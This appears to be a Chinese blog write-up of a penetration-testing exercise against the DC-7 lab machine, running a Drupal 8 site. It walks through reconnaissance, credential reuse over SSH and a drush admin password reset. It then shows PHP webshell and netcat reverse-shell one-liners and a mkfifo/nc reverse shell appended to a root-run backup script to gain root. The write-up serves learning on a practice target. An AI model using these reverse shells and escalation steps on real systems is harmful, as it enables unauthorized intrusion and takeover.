DC-7 渗透测试

冲冲冲,好好学习 。对管道符的理解加深了好多。最后提权时,遇到了点麻烦。想不懂一条命令为啥能执行生效,耗了一整天才算解决掉。

操作机:kali 172.66.66.129

靶机:DC-4 172.66.66.138

网络模式:NAT

netdiscover

172.66.66.138

dirb http://172.66.66.138

nmap -sV -A -p- 172.66.66.138

22端口 OpenSSL 7.4p1 ;80端口 Drupal 8 ;能看到robots.txt

访问一下观察研究网站页面,

有一个搜索框,还发现左下角的 @DC7USER,这个是什么东西,好陌生。百度一下



于是找到这个东西,进去把源码down了下来,那就代码审计咯

(好一个脚本小子...)一个个去看看,显示文件包含漏洞出在 footer标签里,标签定义文档或者文档的一部分区域的页脚。<footer> 元素应该包含它所包含的元素的信息。

在典型情况下,该元素会包含文档创作者的姓名、文档的版权信息、使用条款的链接、联系信息等等。

在一个文档中,您可以定义多个<footer>元素。

​ 代码含义:先定义了变量$file = 'contact-info.php' ,再判断 变量对应的文件是或存在,存在则包含,否则 通过 _GET[ ] 获取$file的值,不经过滤直接包含变量进来。从代码逻辑上看,仿佛没毛病,要执行的前提是预定义的变量$file = 'contact-info.php' 不存在。

​ 哈哈哈哈哈脑子进水了.....敲一下自己。一上来傻乎乎的审计,配置文件这么重要都不看完,在config.php里看到了数据库账号密码

$username = "dc7user";
$password = "MdR3xOgB7#dW";

登录失败,记得开了22端口,试试ssh登录。

登录成功,提示有新邮件,在``/var/mail/`查看 mbox ,好长的内容

是个备份的内容,/opt/scripts/backups.sh

目标文件所有者是 root ,所属组 是www-data,

当前用户:输入 id

uid=1000(dc7user) #当前用户的 唯一标识 uid 1000

gid=1000(dc7user) #当前用户的 所属组 dc7user

groups=1000(dc7user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev) # 属于的其他组

当前用户是backups.sh的其他人,权限只有 r w读写。仿佛这些发现没用,放弃,找下一个思路。

出来挨打 >.<

“所属组 是www-data”,当看到这里,我没有反应过来,一个这么高权限的脚本,当前用户无法利用,但是 www-data 可以啊,www-data www-data ,想到了吗?这的意思就是让你从web端日进去,账号成为 www-data ,这都想不到???????????

获得的主要信息:

Shell脚本文件 /opt/scripts/backups.sh

数据库文件:/home/dc7user/backups/website.sql

网站数据: /home/dc7user/backups/website.tar.gz

可见.gpg后缀,文件是经过加密的(为什么我没有想到破解呢???自己反省一下)。有俩比较陌生的命令 drush 和 gpg(一种加密方式)。百度一圈得知可用 drush来修改任意用户的密码drush user-password 用户名 --password="密码"

想到爆破没?可以去试试,gpg秘钥解密PickYourOwnPassword(backup.sh中找到)。但是爆破完,里面也获得不到有用的信息。

backups.sh中我们看到,使用drush备份数据库的时候,先切换目录至/var/www/html,所以我们也先切换目录至/var/www/html/ cd 到/var/www/html 下使用,(盲猜的后台管理员账号 admin ,在登录页面,输入不存在的账号,会提示该账号未注册。)

改完密码,登录试试,登进去之后

寻找可利用的地方,

此处的代码没有被解析,只原样输出了,绕过无果。再找找其他看

有图片上传框,想到图片马?

如何制作图片马还记得吗?

windows下,先准备两个 文件:tupian.png ma.php

打开cmd ,在当前路径下执行:copy tupian.png/b+ma.php/a new.png

/b是以二进制格式复制/合并文件,适用于图片或者声音类文件。

/a是指定ascii格式复制/合并文件,适用于txt等文本类型。

传上去了,但是菜刀连接不上,我马呢?能确认上传路径是没有错的,那是为什么呢,

没有cookie吗?登录一下网页再试试

浏览网页,admin登录,再次尝试连接一句话,仍然失败。图片没有执行吗?思路断。

记得前面的靶机中,drupal有个模块可以执行php代码来着。

寻找cms中模块安装功能在哪,百度寻找该cms存在漏洞的功能模块等,尝试安装存在漏洞的功能模块/主题/插件,最后通过其漏洞实现侵入。

在线下载安装,或者本地上传模块安装。drupal官网找找模块在哪,当前drupal为8.7.6版本。

在此处下载PHP Filter模块http://drupal.org/project/php,上图可见,下载的应该是 .gz文件,服务器linux的压缩文件也应该是 .gz

执行成功,尝试提权。

  1. <?php system("nc -e /bin/bash 172.66.66.129 8888");?>

  2. <?php system("$_GET['a']");?> 再访问:http://172.66.66.138/node/6?a=nc -e /bin/bash 127.0.0.1 8888

python 交互shellpython -c 'import pty;pty.spawn("/bin/bash")'

然后呢?思路感觉又断了 >.< 看了下大佬们的wp,抄来了这条一寸长的命令。

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f" >> backups.sh 往backups.sh里 追加 地写入这个命令,拆分一下理解理解

rm /tmp/f;	   

mkfifo /tmp/f;   

cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f

rm /tmp/f 删除该文件(以免跟后面定义的 管道符 冲突)

mkfifo /tmp/f 这是创建自定义有名管道符。管道符的名称是 /tmp/f (用于进程间的通讯, 如 ls > /tmp/f ,cat /tmp/f ,连通两个进程之间的通讯)

​ cat /tmp/f 取出管道符中的内容, |/bin/sh -i 2>&1 将前面取出的内容作为 输入 ,输入给 /bin/sh ,再将bash 的标准错误输出 也作为标准输入 (2 >&1)给bash ,然后再将bash的输出,传给nc 远程,再将nc 传来的数据,写入 管道符 /tmp/f 。最后首尾接通了。

​ 原理上讲也没啥难度,跟之前写的fantanshell笔记里的都一样,换个方式唯一,核心道理一模一样。

但是有个疑问:为啥执行这命令后,nc反弹的shell,是root权限? 是哪里导致的身份成了 root ?

当前用户是 www-data ,backups.sh所有者是root,所属组是www-data

-rwxr-xr-x 1 root root 64K Feb 22 2017 /usr/bin/mkfifo 命令的权限也没有suid呢?

为什么呢?下面是 backups.sh脚本的内容

#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

想不懂一个问题,---------------------------------------------------------------------------------------------------------------------------------------

当前登录用户为 www-data ,id 显示是uid=33(www-data) gid=33(www-data) groups=33(www-data)

现在有个脚本 backups.sh ,权限是 -rwx rwx r-x root www-data

脚本内容是:

#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

提权方式 是,在脚本末尾追加写入 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.66.66.138 8888 >/tmp/f (命令内容我能理解),写入完成后再执行,开启监听,反弹回来的shell ,就是root权限了。

问题:为什么反弹回来的权限是 root 的?当前用户是 www-data,这个身份执行 脚本,虽然脚本的所有者是root,但好像这个脚本没有suid权限,为啥反弹回来的shell 是root权限的?


​ 为了验证这个问题,(虽然还是没懂为什么,但是想看看究竟是不是这样子的)打开centos 写个脚本测试一下

tmp下随便写个脚本,改一下权限 775 ,改 所有者 为root 和 所属组为zhaocancheng ,脚本内容为验证执行时候的用户id 是否为root ,是root的话就echo。

执行结果并不是root,这就很迷了呀,为啥子哩.....

所以我可以认为,靶机上的脚本运行后能获得 root 权限,跟 文件本身的权限 -rwx rwx r-x root www-data无关吗?我觉得可以... 那难道是 靶机脚本里命令的缘故吗?脚本中使用的命令有 drush、tar、gpg、chown,也能确认跟这些命令没关系...

晚上洗澡忽然想到,上面的centos里的操作,逻辑上不对,得先把账号加入那个组才可以接着下面的步骤。

最后换个思路思考,研究了下脚本里的命令,发现 chown 是只有root才能执行,然而脚本里有这条命令,并且这个提权方式是可行的(已有成功的)。自己本地尝试的时候,普通账号(及时在所属组里)是无法执行脚本的,会报错,提示不允许的操作。

那所以在靶机中,脚本在执行的时候,是root身份在执行了脚本,所以再追加进去的nc 反弹回来才是 root,会不会是 root的计划任务,定期以root身份执行脚本,顺利提权root ,无奈当前用户www-data 无法查看 root 下的计划任务。

最后知道,那个 追加进去的命令好像是 msf 的......


嗯? 磁盘没空间? df -i 看到也没有满呀。啊?打开backups.sh看看

噢噢还真的是说磁盘满了.....然鹅并没有满呀,上面也看到了呀,好吧我电脑也就256G ,确实是满了...

几天后回来想到,这应该是 msf生成的反弹shell后门,需要msf的环境才能执行成功。

最后

  1. 感觉学到的东西越来越少了,多回顾以前学过的知识,代码审计生疏了好多好多...
  2. linux用户可以属于多个“组”,
  3. 看到特殊脚本,打开进去好好看,研究看,仔细看,看,看,看,
  4. Drush 是Drupal的命令行shell和Unix脚本接口,用于管理druoal网站。当新网站忘记密码,想重置密码,这时候服务器上刚好装着 Drush ,那么恭喜:drush user-password 用户名 --password="密码"
  5. gpg 一种加密方式,linux可以安装使用。加密解密也是个知识点。
  6. 我马呢?我马呢?
  7. 为什么一句话的图片木马能起效果?原理是什么
  8. “所属组 是www-data”,当看到这里,我没有反应过来,一个这么高权限的脚本,当前用户无法利用,但是 www-data 可以啊,www-data www-data ,想到了吗?这的意思就是让你从web端日进去,账号成为 www-data ,这都想不到???????????
  9. mkfifo 开心,学到了个神奇的命令。笔记放在另外的地方,篇幅有点长,就不放这里了。

DC-7 靶机渗透测试的更多相关文章

  1. DC-1 靶机渗透测试

    DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...

  2. DC-5 靶机渗透测试

    DC-5 靶机渗透测试 冲冲冲,好好学习 .核心:footer 文件包含漏洞,wfuzz .收获总结写在文末. 谨记任务:找地方上传shell---> root. 操作机:kali 172.66 ...

  3. DC-2 靶机渗透测试

    DC-2 靶机渗透测试 冲冲冲,好好学习. 本靶机核心内容"受限shell提权",知识点在另一篇文章中总结归纳了. 攻击机:kali 靶 机:DC-2 准备:在使用前需要在操作机的 ...

  4. DC-9 靶机渗透测试

    DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...

  5. DC-8 靶机渗透测试

    DC-8 渗透测试 冲冲冲 ,好好学习 . 核心:cms上传添加存在漏洞组件,利用该组件getshell 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.137 网络 ...

  6. DC-6 靶机渗透测试

    DC-6 渗透测试 冲冲冲,好好学习 . 收获总结写在文末. 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.136 网络模式:NAT 上来一波 netdiscove ...

  7. DC-4 靶机渗透测试

    DC-4 渗透测试 冲冲冲,努力学习 .掌握 hydra ,nc反弹shell 记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root 操作机:ka ...

  8. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  9. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

随机推荐

  1. etcd 添加用户,授权特定目录

    适用场景 多组共用etcd集群,创建一个新用户.新目录,让这个新用户只有新目录的使用权限. 命令和顺序 创建目录,注意此处是v2 curl -u root:pwd http://host:2379/v ...

  2. 在微信小程序中使用阿里图标库Iconfont

    首先想要使用图标,只用上图的五个iconfont相关文件就可以了.(下下来的文件iconfont.wxss开始是.css的后缀,手动改成.wxss就可以在小程序中使用) 然后在app.wxss中引入i ...

  3. Html中的canvas

    使用cancas完成袋鼠跳跃的界面,这个是怎么做得呀,我哭了呀

  4. uniapp 打包IOS 更新AppStore版本

    Hello 你好,我是大粽子. 最近随着新版本UI的发布APP也随之更新,随之而来的也就是IOS程序提审步骤,这次我详细的截图了每一个步骤,如果你正好也需要那么跟着我的节奏一步步来肯定是没问题的. 提 ...

  5. Docker 镜像针对不同语言的精简策略

    导航: 这里分为几个部分. 相关转载云原生:米开朗基杨 1.Docker减小镜像体积 2.Docker镜像针对不同语言的精简策略 对于刚接触容器的人来说,他们很容易被自己制作的 Docker 镜像体积 ...

  6. FastApi持续更新

    ​ FastAPI 框架,高性能,易于学习,高效编码,生产可用 官方文档: https://fastapi.tiangolo.com FastAPI 是一个用于构建 API 的现代.快速(高性能)的 ...

  7. 14、WindowsServer修改NTP时间同步服务器

    1. 2. 3.

  8. Tiling 简单递推+大数

    Tiling c[0]=1,c[1]=1,c[2]=3;   c[n]=c[n-1]+c[n-2]*2;   0<=n<=250.   大数加法 java  time  :313ms 1 ...

  9. 海量数据Excel报表利器——EasyExcel(一 利用反射机制导出Excel)

    EasyExcel 写入(导出) 互联网的精髓就是共享,可以共享技术.共享经验.共享情感.共享快乐~ 很多年前就有这个想法了,从事IT行业时间也不短了,应该把自己工作和业余所学习的东西记录并分享出来, ...

  10. mysql过滤表中重复数据,查询相同数据的特定一条

    待操作的表如下: p.p1 { margin: 0; font: 16px Menlo; color: rgba(0, 0, 0, 1) } span.s1 { font-variant-ligatu ...